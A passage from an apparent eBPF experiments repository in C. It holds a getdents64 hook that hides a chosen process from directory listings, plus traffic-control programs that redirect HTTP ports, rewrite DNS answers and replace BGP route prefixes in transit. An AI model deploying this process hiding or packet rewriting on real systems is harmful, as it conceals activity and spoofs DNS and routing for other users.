(!pid_to_watch) { 128 | return 0; 129 | } 130 | 131 | 132 | for (int i = 0; i < 200; i ++) { 133 | if (bpos >= total_bytes_read) { 134 | break; 135 | } 136 | dirp = (struct linux_dirent64 *)(buff_addr+bpos); 137 | bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); 138 | bpf_probe_read_user_str(&filename, sizeof(filename), dirp->d_name); 139 | 140 | int j = 0; 141 | 142 | for (j = 0; j < sizeof(filename); j++) { 143 | if (filename[j] != pid_to_watch->pid_string[j]) { 144 | break; // filename contains characters not in our pid 145 | } 146 | if ( j == pid_to_watch->pid_string_len) { 147 | break; 148 | } 149 | } 150 | 151 | if (j == pid_to_watch->pid_string_len) { 152 | bpf_printk("[found] filename -> %s, looking for-> %s", filename, pid_to_watch->pid_string); 153 | 154 | // *********** 155 | // We've found the folder!!! 156 | // Jump to handle_getdents_patch so we can remove it! 157 | // *********** 158 | bpf_map_delete_elem(&map_bytes_read, &pid_tgid); 159 | bpf_map_delete_elem(&map_buffs, &pid_tgid); 160 | // Jump using our tail call to the patch function 161 | bpf_tail_call(ctx, &map_prog_array, TAIL_PATCH); 162 | } 163 | bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); 164 | bpos += d_reclen; 165 | } 166 | 167 | // If we didn't find it, but there's still more to read, 168 | // jump back the start of this function and keep looking 169 | if (bpos < total_bytes_read) { 170 | bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); 171 | bpf_tail_call(ctx, &map_prog_array, TAIL_EXIT); 172 | } 173 | bpf_map_delete_elem(&map_bytes_read, &pid_tgid); 174 | bpf_map_delete_elem(&map_buffs, &pid_tgid); 175 | 176 | return 0; 177 | } 178 | 179 | SEC("tp/syscalls/sys_exit_getdents64") 180 | int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) 181 | { 182 | // Only patch if we've already checked and found our pid's folder to hide 183 | size_t pid_tgid = bpf_get_current_pid_tgid(); 184 | long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); 185 | if (pbuff_addr == 0) { 186 | return 0; 187 | } 188 | 189 | // Unlink target, by reading in previous linux_dirent64 struct, 190 | // and setting it's d_reclen to cover itself and our target. 191 | // This will make the program skip over our folder. 192 | long unsigned int buff_addr = *pbuff_addr; 193 | struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; 194 | short unsigned int d_reclen_previous = 0; 195 | bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); 196 | 197 | struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); 198 | short unsigned int d_reclen = 0; 199 | bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); 200 | 201 | // Debug print 202 | char filename[max_pid_len]; 203 | bpf_probe_read_user_str(&filename, sizeof(filename), dirp_previous->d_name); 204 | filename[sizeof(filename)-1] = 0x00; 205 | //bpf_printk("[PID_HIDE] filename previous %s\n", filename); 206 | bpf_probe_read_user_str(&filename, sizeof(filename), dirp->d_name); 207 | filename[sizeof(filename)-1] = 0x00; 208 | // bpf_printk("[PID_HIDE] filename next one %s\n", filename); 209 | 210 | // Attempt to overwrite 211 | short unsigned int d_reclen_new = d_reclen_previous + d_reclen; 212 | bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); 213 | 214 | bpf_map_delete_elem(&map_to_patch, &pid_tgid); 215 | return 0; 216 | } -------------------------------------------------------------------------------- /ebpf/http/http.c: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | 3 | #include "../headers/vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | char __license[] SEC("license") = "GPL"; 10 | 11 | #define TC_ACT_OK 0 12 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 13 | #define ETH_HLEN 14 /*Ethernet Header Length */ 14 | 15 | #define max_path_len 20 16 | 17 | static inline int is_http(struct __sk_buff *skb, __u64 nh_off); 18 | static inline int bpf_strcmplength(char *s1, char *s2, u32 n); 19 | // static inline int bpf_strncmpoffset(char *s1, char *s2, u32 n, u32 o); 20 | 21 | struct url_path { 22 | __u8 path_len; 23 | __u8 path[max_path_len]; // This should be a char but code generation between here and Go.. 24 | }; 25 | 26 | struct { 27 | __uint(type, BPF_MAP_TYPE_HASH); 28 | __uint(max_entries, 1024); 29 | __type(key, char[max_path_len]); 30 | __type(value, struct url_path); 31 | } 32 | url_map SEC(".maps"); 33 | 34 | struct { 35 | __uint(type, BPF_MAP_TYPE_HASH); 36 | __uint(max_entries, 1024); 37 | __type(key, __u16); 38 | __type(value, __u16); 39 | } 40 | redirect_map SEC(".maps"); 41 | 42 | static inline void set_tcp_dport(struct __sk_buff *skb, int nh_off, 43 | __u16 old_port, __u16 new_port) 44 | { 45 | bpf_l4_csum_replace(skb, nh_off + offsetof(struct tcphdr, check), 46 | old_port, new_port, sizeof(new_port)); 47 | bpf_skb_store_bytes(skb, nh_off + offsetof(struct tcphdr, dest), 48 | &new_port, sizeof(new_port), 0); 49 | } 50 | 51 | static inline void set_tcp_sport(struct __sk_buff *skb, int nh_off, 52 | __u16 old_port, __u16 new_port) 53 | { 54 | bpf_l4_csum_replace(skb, nh_off + offsetof(struct tcphdr, check), 55 | old_port, new_port, sizeof(new_port)); 56 | bpf_skb_store_bytes(skb, nh_off + offsetof(struct tcphdr, source), 57 | &new_port, sizeof(new_port), 0); 58 | } 59 | 60 | 61 | 62 | SEC("tc_in") 63 | int tc_ingress(struct __sk_buff * skb) { 64 | void *data_end = (void *)(long)skb->data_end; 65 | void *data = (void *)(long)skb->data; 66 | struct ethhdr *eth = data; 67 | __u16 h_proto; 68 | __u64 nh_off = 0; 69 | nh_off = sizeof(*eth); 70 | 71 | if (data + nh_off > data_end) { 72 | return TC_ACT_OK; 73 | } 74 | 75 | h_proto = eth->h_proto; 76 | 77 | if (h_proto == bpf_htons(ETH_P_IP)) { 78 | if (is_http(skb, nh_off) == 1) { 79 | bpf_printk("Found what we were looking for"); 80 | } 81 | } 82 | 83 | return TC_ACT_OK; 84 | } 85 | 86 | SEC("tc_egress") 87 | int tc_egress_(struct __sk_buff *skb) 88 | { 89 | struct iphdr ip; 90 | struct tcphdr tcp; 91 | if (0 != bpf_skb_load_bytes(skb, sizeof(struct ethhdr), &ip, sizeof(struct iphdr))) 92 | { 93 | bpf_printk("bpf_skb_load_bytes iph failed"); 94 | return TC_ACT_OK; 95 | } 96 | 97 | if (0 != bpf_skb_load_bytes(skb, sizeof(struct ethhdr) + (ip.ihl << 2), &tcp, sizeof(struct tcphdr))) 98 | { 99 | bpf_printk("bpf_skb_load_bytes eth failed"); 100 | return TC_ACT_OK; 101 | } 102 | 103 | unsigned int src_port = bpf_ntohs(tcp.source); 104 | unsigned int dst_port = bpf_ntohs(tcp.dest); 105 | 106 | if (src_port == 80 || dst_port == 80 || src_port == 8090 || dst_port == 8090) 107 | bpf_printk("-> %pI4:%u -> %pI4:%u", &ip.saddr, src_port, &ip.daddr, dst_port); 108 | 109 | if (src_port != 8090) 110 | return TC_ACT_OK; 111 | if (tcp.rst) { 112 | bpf_printk("-> sending a reset"); 113 | //__u16 port = 0; 114 | int update = bpf_map_update_elem(&redirect_map, &dst_port, &src_port, BPF_ANY); 115 | if (update !=0) { 116 | bpf_printk("-> couldnt update map"); 117 | } 118 | 119 | } 120 | 121 | 122 | set_tcp_sport(skb, ETH_HLEN + sizeof(struct iphdr), bpf_htons(8090), bpf_htons(80)); 123 | 124 | return TC_ACT_OK; 125 | } 126 | 127 | 128 | static inline int is_http(struct __sk_buff *skb, __u64 nh_off) { 129 | void *data_end = (void *)(long)skb->data_end; 130 | void *data = (void *)(long)skb->data; 131 | struct iphdr *iph = data + nh_off; 132 | 133 | if ((void*)(iph + 1) > data_end) { 134 | return 0; 135 | } 136 | 137 | if (iph->protocol != IPPROTO_TCP) { 138 | return 0; 139 | } 140 | __u32 tcp_hlen = 0; 141 | __u32 ip_hlen = 0; 142 | __u32 poffset = 0; 143 | __u32 plength = 0; 144 | __u32 ip_total_length = bpf_ntohs(iph->tot_len); 145 | 146 | ip_hlen = iph->ihl << 2; 147 | 148 | if (ip_hlen < sizeof(*iph)) { 149 | return 0; 150 | } 151 | 152 | struct tcphdr *tcph = data + nh_off + sizeof(*iph); 153 | 154 | if ((void*)(tcph + 1) > data_end) { 155 | return 0; 156 | } 157 | unsigned int src_port = bpf_ntohs(tcph->source); 158 | __u16 dst_port = bpf_ntohs(tcph->dest); 159 | 160 | //if (dst_port == 80) { 161 | __u16 *redirect = bpf_map_lookup_elem(&redirect_map, &src_port); 162 | if (redirect) { 163 | bpf_printk("<- hack that header for %d", dst_port); 164 | set_tcp_dport(skb, ETH_HLEN + sizeof(struct iphdr), bpf_htons(80), bpf_htons(8090)); 165 | return TC_ACT_OK; 166 | } 167 | //} 168 | // dst_port = bpf_htons(dst_port); 169 | // redirect = bpf_map_lookup_elem(&redirect_map, &dst_port); 170 | // if (redirect) { 171 | // bpf_printk("INGRESS - hack that shit for %d", dst_port); 172 | // } 173 | // } 174 | 175 | if (src_port == 80 || dst_port == 80 || src_port == 8090 || dst_port == 8090 ) 176 | bpf_printk("<- %pI4:%u -> %pI4:%u", iph->saddr, src_port, iph->daddr, dst_port); 177 | 178 | tcp_hlen = tcph->doff << 2; 179 | poffset = ETH_HLEN + ip_hlen + tcp_hlen; 180 | plength = ip_total_length - ip_hlen - tcp_hlen; 181 | if (plength >= 7) { 182 | 183 | // Room to store 80 bytes of data from the packet 184 | char pdata[60]; 185 | 186 | // Load data from the socket buffer, poffset starts at the end of the TCP Header 187 | int ret = bpf_skb_load_bytes(skb, poffset, pdata, 60); 188 | if (ret != 0) { 189 | return 0; 190 | } 191 | 192 | // Look for a GET request 193 | if (bpf_strcmplength(pdata, "GET", 3) == 0) { 194 | 195 | // Debug statements 196 | //bpf_printk("%s", pdata); 197 | //bpf_printk("packet length %d, data offset %d, data size %d", ip_total_length, poffset, plength); 198 | 199 | char path[max_path_len]; 200 | memset(&path, 0, sizeof(path)); 201 | 202 | int path_len = 0; 203 | 204 | // Find the request URI (starts at offset 4), ends with a space 205 | for (int i = 4; i < sizeof(pdata) ; i++) 206 | { 207 | if (pdata[i] != ' ') { 208 | path[i-4] = pdata[i]; 209 | } else { 210 | path[i-4] = '\0'; 211 | path_len = i-4; 212 | break; 213 | } 214 | } 215 | // Print out the Get request path 216 | bpf_printk("<- incoming path [%s], length [%d]", path, path_len); 217 | struct url_path *found_path = bpf_map_lookup_elem(&url_map, path); 218 | if (found_path > 0) { 219 | //set_tcp_dport(skb, ETH_HLEN + sizeof(struct iphdr), bpf_htons(80), bpf_htons(8090)); 220 | bpf_printk("Looks like we've found your path [%s]", path); 221 | } 222 | } 223 | } 224 | 225 | return 0; 226 | } 227 | 228 | static inline int bpf_strcmplength(char *s1, char *s2, u32 n) 229 | { 230 | for (int i = 0; i < n && i < sizeof(s1) && i < sizeof(s2); i++) 231 | { 232 | if (s1[i] != s2[i]) 233 | return s1[i] - s2[i]; 234 | 235 | if (s1[i] == s2[i] == '\0') 236 | return 0; 237 | } 238 | 239 | return 0; 240 | } 241 | 242 | // static inline int bpf_strncmpoffset(char *s1, char *s2, u32 n, u32 o) 243 | // { 244 | // for (int i = 0; i < n && i < sizeof(s1) && i < sizeof(s2); i++) 245 | // { 246 | // if (s1[i+o] != s2[i]) 247 | // return s1[i+o] - s2[i]; 248 | 249 | // if (s1[i+o] == s2[i] == '\0') 250 | // return 0; 251 | // } 252 | 253 | // return 0; 254 | // } 255 | -------------------------------------------------------------------------------- /ebpf/dns/dns.c: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | 3 | #include "../headers/vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | #pragma pack(1) 11 | #include "dns.h" 12 | 13 | char __license[] SEC("license") = "GPL"; 14 | 15 | #define TC_ACT_OK 0 16 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 17 | #define ETH_HLEN 14 /*Ethernet Header Length */ 18 | 19 | static int parse_query(struct __sk_buff *skb, void *query_start, struct dns_query *q); 20 | //static inline int bpf_strcmplength(char *s1, char *s2, u32 n); 21 | 22 | struct dns_replace { 23 | __u8 name[MAX_DNS_NAME_LENGTH]; // This should be a char but code generation between here and Go.. 24 | __u32 arecord; // This should be a char but code generation between here and Go.. 25 | }; 26 | 27 | struct { 28 | __uint(type, BPF_MAP_TYPE_HASH); 29 | __uint(max_entries, 1024); 30 | __type(key, char[MAX_DNS_NAME_LENGTH]); 31 | __type(value, struct dns_replace); 32 | } 33 | dns_map SEC(".maps"); 34 | 35 | static inline int read_dns(struct __sk_buff *skb) { 36 | void *data_end = (void *)(long)skb->data_end; 37 | void *data = (void *)(long)skb->data; 38 | struct ethhdr *eth = data; 39 | __u16 h_proto; 40 | __u64 nh_off = 0; 41 | nh_off = sizeof(*eth); 42 | 43 | if (data + nh_off > data_end) { 44 | return TC_ACT_OK; 45 | } 46 | 47 | h_proto = eth->h_proto; 48 | 49 | if (h_proto == bpf_htons(ETH_P_IP)) { 50 | struct iphdr *iph = data + nh_off; 51 | 52 | if ((void*)(iph + 1) > data_end) { 53 | return 0; 54 | } 55 | 56 | if (iph->protocol != IPPROTO_UDP) { 57 | return 0; 58 | } 59 | __u32 ip_hlen = 0; 60 | //__u32 poffset = 0; 61 | //__u32 plength = 0; 62 | // __u32 ip_total_length = bpf_ntohs(iph->tot_len); 63 | 64 | ip_hlen = iph->ihl << 2; 65 | 66 | if (ip_hlen < sizeof(*iph)) { 67 | return 0; 68 | } 69 | struct udphdr *udph = data + nh_off + sizeof(*iph); 70 | 71 | if ((void*)(udph + 1) > data_end) { 72 | return 0; 73 | } 74 | __u16 src_port = bpf_ntohs(udph->source); 75 | __u16 dst_port = bpf_ntohs(udph->dest); 76 | 77 | if (src_port == 53 || dst_port == 53) { 78 | 79 | // Get the DNS Header 80 | struct dns_hdr *dns_hdr = data + sizeof(*eth) + sizeof(*iph) + sizeof(*udph); 81 | if ((void*)(dns_hdr + 1) > data_end) { 82 | return 0; 83 | } 84 | // qr == 0 is a query 85 | if (dns_hdr->qr == 0 && dns_hdr->opcode == 0){ 86 | bpf_printk("DNS query transaction id %u", bpf_ntohs(dns_hdr->transaction_id)); 87 | } 88 | 89 | // qr == 1 is a response 90 | if (dns_hdr->qr ==1 && dns_hdr->opcode ==0 ){ 91 | // Read the query 92 | void *query_start = (void *)dns_hdr + sizeof(struct dns_hdr); 93 | 94 | struct dns_query q; 95 | int query_length = 0; 96 | query_length = parse_query(skb, query_start, &q); 97 | if (query_length < 1) 98 | { 99 | return 0; 100 | } 101 | 102 | struct dns_replace *found_name; 103 | // Looking up the domain name in the map 104 | if (sizeof(q.name) != 0) { 105 | found_name = bpf_map_lookup_elem(&dns_map, q.name); 106 | if (found_name > 0) { 107 | bpf_printk("Looks like we've found your name [%s]", found_name->name); 108 | } 109 | } 110 | // Read the DNS response 111 | struct dns_response *ar_hdr = data + sizeof(*eth) + sizeof(*iph) + sizeof(*udph) + sizeof(*dns_hdr) + query_length; 112 | if ((void*)(ar_hdr + 1) > data_end) { 113 | return 0; 114 | } 115 | 116 | 117 | __u32 ip; 118 | 119 | __u32 poffset = sizeof(*eth) + sizeof(*iph) + sizeof(*udph) + sizeof(*dns_hdr) + query_length + sizeof(*ar_hdr); 120 | 121 | // Load data from the socket buffer, poffset starts at the end of the TCP Header 122 | int ret = bpf_skb_load_bytes(skb, poffset, &ip, sizeof(ip)); 123 | if (ret != 0) { 124 | return 0; 125 | } 126 | //bpf_printk("%pI4", &ip); 127 | if (found_name) { 128 | bpf_printk("%pI4 -> %pI4", &ip, &found_name->arecord); 129 | ret = bpf_skb_store_bytes(skb, poffset, &found_name->arecord, sizeof(found_name->arecord), BPF_F_RECOMPUTE_CSUM); 130 | if (ret != 0) { 131 | return 0; 132 | } 133 | } 134 | } 135 | 136 | // //Get a pointer to the start of the DNS query 137 | // void *query_start = (void *)dns_hdr + sizeof(struct dns_hdr); 138 | 139 | // struct dns_query q; 140 | // int query_length = 0; 141 | // query_length = parse_query(skb, query_start, &q); 142 | // if (query_length < 1) 143 | // { 144 | // return 0; 145 | // } 146 | // //bpf_printk("%u %s %u", query_length, q.name, sizeof(q.name)); 147 | // if (bpf_strcmplength(q.name, "github.com", query_length) == 0) { 148 | // bpf_printk("woo"); 149 | // } 150 | 151 | } 152 | } 153 | return 0; 154 | } 155 | 156 | 157 | 158 | //Parse query and return query length 159 | static int parse_query(struct __sk_buff *skb, void *query_start, struct dns_query *q) 160 | { 161 | void *data_end = (void *)(long)skb->data_end; 162 | 163 | #ifdef DEBUG 164 | bpf_printk("Parsing query"); 165 | #endif 166 | 167 | uint16_t i; 168 | void *cursor = query_start; 169 | int namepos = 0; 170 | 171 | //Fill dns_query.name with zero bytes 172 | //Not doing so will make the verifier complain when dns_query is used as a key in bpf_map_lookup 173 | memset(&q->name[0], 0, sizeof(q->name)); 174 | //Fill record_type and class with default values to satisfy verifier 175 | q->record_type = 0; 176 | q->class = 0; 177 | 178 | //We create a bounded loop of MAX_DNS_NAME_LENGTH (maximum allowed dns name size). 179 | //We'll loop through the packet byte by byte until we reach '0' in order to get the dns query name 180 | for (i = 0; i < MAX_DNS_NAME_LENGTH; i++) 181 | { 182 | 183 | //Boundary check of cursor. Verifier requires a +1 here. 184 | //Probably because we are advancing the pointer at the end of the loop 185 | if (cursor + 1 > data_end) 186 | { 187 | #ifdef DEBUG 188 | bpf_printk("Error: boundary exceeded while parsing DNS query name"); 189 | #endif 190 | break; 191 | } 192 | 193 | /* 194 | #ifdef DEBUG 195 | bpf_printk("Cursor contents is %u\n", *(char *)cursor); 196 | #endif 197 | */ 198 | 199 | //If separator is zero we've reached the end of the domain query 200 | if (*(char *)(cursor) == 0) 201 | { 202 | 203 | //We've reached the end of the query name. 204 | //This will be followed by 2x 2 bytes: the dns type and dns class. 205 | if (cursor + 5 > data_end) 206 | { 207 | #ifdef DEBUG 208 | bpf_printk("Error: boundary exceeded while retrieving DNS record type and class"); 209 | #endif 210 | } 211 | else 212 | { 213 | q->record_type = bpf_htons(*(uint16_t *)(cursor + 1)); 214 | q->class = bpf_htons(*(uint16_t *)(cursor + 3)); 215 | } 216 | 217 | //Return the bytecount of (namepos + current '0' byte + dns type + dns class) as the query length. 218 | return namepos + 1 + 2 + 2; 219 | } 220 | 221 | //Read and fill data into struct 222 | q->name[namepos] = *(char *)(cursor); 223 | 224 | namepos++; 225 | cursor++; 226 | } 227 | 228 | return -1; 229 | } 230 | 231 | // static inline int bpf_strcmplength(char *s1, char *s2, u32 n) 232 | // { 233 | // for (int i = 0; i < n && i < sizeof(s1) && i < sizeof(s2); i++) 234 | // { 235 | // if (s1[i] != s2[i]) 236 | // return s1[i] - s2[i]; 237 | 238 | // if (s1[i] == s2[i] == '\0') 239 | // return 0; 240 | // } 241 | 242 | // return 0; 243 | // } 244 | 245 | 246 | 247 | // eBPF hooks - This is where the magic happens! 248 | SEC("tc_in") 249 | int tc_ingress(struct __sk_buff *skb) { 250 | return read_dns(skb); 251 | 252 | } 253 | 254 | SEC("tc_egress") 255 | int tc_egress_(struct __sk_buff *skb) 256 | { 257 | return read_dns(skb); 258 | } -------------------------------------------------------------------------------- /ebpf/bgp/bgp.c: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | 3 | #include "../headers/vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #pragma pack(1) 10 | #include "bgp.h" 11 | 12 | char __license[] SEC("license") = "GPL"; 13 | 14 | #define TC_ACT_OK 0 15 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 16 | #define ETH_HLEN 14 /*Ethernet Header Length */ 17 | 18 | struct { 19 | __uint(type, BPF_MAP_TYPE_HASH); 20 | __uint(max_entries, 1024); 21 | __type(key, struct nlri); 22 | __type(value, struct nlri); 23 | } nlri_replace SEC(".maps"); 24 | 25 | // static inline int bpf_strcmplength(char *s1, char *s2, u32 n); 26 | // static inline int bpf_strncmpoffset(char *s1, char *s2, u32 n, u32 o); 27 | 28 | // static __always_inline bool skb_revalidate_data(struct __sk_buff *skb, 29 | // void **head, void **tail, 30 | // const u32 offset) { 31 | // if (*head + offset > *tail) { 32 | // if (bpf_skb_pull_data(skb, offset) < 0) { 33 | // return false; 34 | // } 35 | 36 | // *head = (uint8_t *)(long)skb->data; 37 | // *tail = (uint8_t *)(long)skb->data_end; 38 | 39 | // if (*head + offset > *tail) { 40 | // return false; 41 | // } 42 | // } 43 | 44 | // return true; 45 | // } 46 | 47 | static inline int read_bgp(struct __sk_buff *skb) { 48 | void *data_end = (void *)(long)skb->data_end; 49 | void *data = (void *)(long)skb->data; 50 | struct ethhdr *eth = data; 51 | __u16 h_proto; 52 | __u64 nh_off = 0; 53 | nh_off = sizeof(*eth); 54 | 55 | if (data + nh_off > data_end) { 56 | return TC_ACT_OK; 57 | } 58 | 59 | h_proto = eth->h_proto; 60 | 61 | if (h_proto == bpf_htons(ETH_P_IP)) { 62 | struct iphdr *iph = data + nh_off; 63 | 64 | if ((void *)(iph + 1) > data_end) { 65 | return 0; 66 | } 67 | 68 | if (iph->protocol != IPPROTO_TCP) { 69 | return 0; 70 | } 71 | __u32 tcp_hlen = 0; 72 | __u32 ip_hlen = 0; 73 | __u32 poffset = 0; 74 | __u32 plength = 0; 75 | __u32 ip_total_length = bpf_ntohs(iph->tot_len); 76 | 77 | ip_hlen = iph->ihl << 2; 78 | 79 | if (ip_hlen < sizeof(*iph)) { 80 | return 0; 81 | } 82 | struct tcphdr *tcph = data + nh_off + sizeof(*iph); 83 | 84 | if ((void *)(tcph + 1) > data_end) { 85 | return 0; 86 | } 87 | __u16 src_port = bpf_ntohs(tcph->source); 88 | __u16 dst_port = bpf_ntohs(tcph->dest); 89 | 90 | if (src_port == 179 || dst_port == 179) { 91 | tcp_hlen = tcph->doff << 2; 92 | poffset = ETH_HLEN + ip_hlen + tcp_hlen; 93 | plength = ip_total_length - ip_hlen - tcp_hlen; 94 | if (plength >= 19) { // Abitrary length, but this seems to be the minimum 95 | // for a keep alive message 96 | 97 | struct bgp_message bgpm; 98 | int ret = bpf_skb_load_bytes(skb, poffset, &bgpm, sizeof(bgpm)); 99 | if (ret != 0) { 100 | bpf_printk("error %d", ret); 101 | return 0; 102 | } 103 | 104 | poffset += sizeof(bgpm); // remove header 105 | struct bgp_open open_msg; 106 | switch (bgpm.type) { 107 | case BGP_OPEN: 108 | // statements 109 | bpf_skb_load_bytes(skb, poffset, &open_msg, sizeof(open_msg)); 110 | if (ret != 0) { 111 | bpf_printk("error %d", ret); 112 | return 0; 113 | } 114 | bpf_printk("BGP open message AS: %d, identifier: %pI4 ", 115 | bpf_ntohs(open_msg.myAS), &open_msg.identifier); 116 | 117 | // open_msg.myAS = bpf_htons(65002); 118 | // ret = bpf_skb_store_bytes(skb,poffset, &open_msg, sizeof(open_msg), 119 | // BPF_F_RECOMPUTE_CSUM); if (ret != 0) { 120 | // bpf_printk("error %d",ret); 121 | // return 0; 122 | // } 123 | break; 124 | 125 | case BGP_UPDATE: 126 | // statements 127 | bpf_printk("BGP update length %d", bpf_ntohs(bgpm.length)); 128 | //__u16 remainingdata = bpf_ntohs(bgpm.length); 129 | // remainingdata -= sizeof(bgpm); // remove header 130 | __u16 withdrawnlen; 131 | int ret = bpf_skb_load_bytes(skb, poffset, &withdrawnlen, 132 | sizeof(withdrawnlen)); 133 | if (ret != 0) { 134 | bpf_printk("error %d", ret); 135 | return 0; 136 | } 137 | // remainingdata -= sizeof(withdrawnlen) + bpf_ntohs(withdrawnlen); // 138 | // remove withdrawn routes 139 | bpf_printk("BGP withdrawn routes %d", bpf_ntohs(withdrawnlen)); 140 | poffset += sizeof(withdrawnlen) + bpf_ntohs(withdrawnlen); 141 | ret = bpf_skb_load_bytes(skb, poffset, &withdrawnlen, 142 | sizeof(withdrawnlen)); 143 | if (ret != 0) { 144 | bpf_printk("error %d", ret); 145 | return 0; 146 | } 147 | 148 | bpf_printk( 149 | "BGP path flags size %d, will attempt to parse the first three", 150 | bpf_ntohs(withdrawnlen)); 151 | struct bgp_path_attributes bgp_path; 152 | 153 | poffset += sizeof(withdrawnlen); // + bpf_ntohs(withdrawnlen); 154 | __u32 pathOffset = poffset; 155 | ret = 156 | bpf_skb_load_bytes(skb, pathOffset, &bgp_path, sizeof(bgp_path)); 157 | if (ret != 0) { 158 | bpf_printk("error %d", ret); 159 | return 0; 160 | } 161 | bpf_printk("BGP Origin -> %d / options length %d", bgp_path.type, 162 | bgp_path.len); 163 | 164 | // Time for some hideous grossness, but I can't be bothered with loops 165 | // in eBPF today 166 | __u16 lencounter = withdrawnlen; 167 | lencounter -= sizeof(bgp_path) + 168 | bgp_path.len; // shrink the amount of data remaining 169 | if (lencounter != 0) { 170 | pathOffset += sizeof(bgp_path) + bgp_path.len; 171 | ret = bpf_skb_load_bytes(skb, pathOffset, &bgp_path, 172 | sizeof(bgp_path)); 173 | if (ret != 0) { 174 | bpf_printk("error %d", ret); 175 | return 0; 176 | } 177 | bpf_printk("BGP Origin -> %d / options length %d", bgp_path.type, 178 | bgp_path.len); 179 | 180 | // TODO: this is where we parse the incoming AS 181 | struct bgp_path_as bgp_as; 182 | pathOffset += sizeof(bgp_path); 183 | ret = bpf_skb_load_bytes(skb, pathOffset, &bgp_as, sizeof(bgp_as)); 184 | if (ret != 0) { 185 | bpf_printk("error %d", ret); 186 | return 0; 187 | } 188 | bpf_printk("Found the AS %u %u %u", bgp_as.type, bgp_as.lenth, 189 | bpf_ntohl(bgp_as.as)); 190 | // bgp_as.as = bpf_htonl(65002); 191 | // ret = bpf_skb_store_bytes(skb, pathOffset, &bgp_as, 192 | // sizeof(bgp_as), BPF_F_RECOMPUTE_CSUM); if (ret != 0) { 193 | // bpf_printk("error %d",ret); 194 | // return 0; 195 | // } 196 | 197 | lencounter -= sizeof(bgp_path) + 198 | bgp_path.len; // shrink the amount of data remaining 199 | if (lencounter != 0) { 200 | pathOffset += bgp_path.len; 201 | ret = bpf_skb_load_bytes(skb, pathOffset, &bgp_path, 202 | sizeof(bgp_path)); 203 | if (ret != 0) { 204 | bpf_printk("error %d", ret); 205 | return 0; 206 | } 207 | bpf_printk("BGP Origin -> %d / options length %d", bgp_path.type, 208 | bgp_path.len); 209 | } 210 | } 211 | poffset += bpf_ntohs(withdrawnlen); // Skip all options 212 | // bpf_printk("Remaining data %d", remainingdata); 213 | 214 | struct nlri nlri; 215 | ret = bpf_skb_load_bytes(skb, poffset, &nlri, sizeof(nlri)); 216 | if (ret != 0) { 217 | bpf_printk("error %d", ret); 218 | return 0; 219 | } 220 | bpf_printk("Found NLRI info -> %pI4 / %d", &nlri.prefix, 221 | nlri.prefixlen); 222 | nlri_value *found_nlri; 223 | found_nlri = bpf_map_lookup_elem(&nlri_replace, &nlri); 224 | if (found_nlri) { 225 | 226 | // set_tcp_dport(skb, ETH_HLEN + sizeof(struct iphdr), 227 | // bpf_htons(80), bpf_htons(8090)); 228 | bpf_printk("Replacing NLRI [%pI4] with [%pI4]", &nlri.prefix, 229 | &found_nlri->prefix); 230 | nlri.prefix = found_nlri->prefix; 231 | ret = bpf_skb_store_bytes(skb, poffset, &nlri, sizeof(nlri), 232 | BPF_F_RECOMPUTE_CSUM); 233 | if (ret != 0) { 234 | bpf_printk("error %d", ret); 235 | return 0; 236 | } 237 | } 238 | 239 | break; 240 | case BGP_NOTIFICATION: 241 | bpf_printk("BGP notification"); 242 | 243 | break; 244 | case BGP_KEEPALIVE: 245 | bpf_printk("BGP keep alive"); 246 | break; 247 | 248 | default: 249 | // default statements 250 | break; 251 | } 252 | } 253 | } 254 | } 255 | return 0; 256 | } 257 | 258 | SEC("tc_in") 259 | int tc_ingress(struct __sk_buff *skb) { return read_bgp(skb); } 260 | 261 | SEC("tc_egress") 262 | int tc_egress_(struct __sk_buff *skb) { return read_bgp(skb); } 263 | -------------------------------------------------------------------------------- /ebpf/dhcp/dhcp.c: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | 3 | #include "../headers/vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #pragma pack(1) 10 | #include "dhcp.h" 11 | 12 | char __license[] SEC("license") = "GPL"; 13 | 14 | #define TC_ACT_OK 0 15 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 16 | #define ETH_HLEN 14 /*Ethernet Header Length */ 17 | 18 | struct { 19 | __uint(type, BPF_MAP_TYPE_HASH); 20 | __uint(max_entries, 1024); 21 | __type(key, __u8[6]); 22 | __type(value, dhcp_entry); 23 | } mac_lookup SEC(".maps"); 24 | // This map stores the MAC address as the key and the Address and DHCP state as 25 | // the value 26 | 27 | struct { 28 | __uint(type, BPF_MAP_TYPE_HASH); 29 | __uint(max_entries, 1024); 30 | __type(key, __u32); // address 31 | __type(value, __u8); // DHCP message state 32 | } dhcp_state SEC(".maps"); 33 | 34 | static inline int read_dhcp(struct __sk_buff *skb, int isIngress) { 35 | void *data_end = (void *)(long)skb->data_end; 36 | void *data = (void *)(long)skb->data; 37 | struct ethhdr *eth = data; 38 | __u16 h_proto; 39 | __u64 nh_off = 0; 40 | nh_off = sizeof(*eth); 41 | 42 | if (data + nh_off > data_end) { 43 | return TC_ACT_OK; 44 | } 45 | 46 | h_proto = eth->h_proto; 47 | char mac[6]; 48 | for (int i = 0; i < 6; i++) { 49 | mac[i] = eth->h_source[i]; 50 | } 51 | 52 | dhcp_entry *state = bpf_map_lookup_elem(&mac_lookup, mac); 53 | if (state) { 54 | 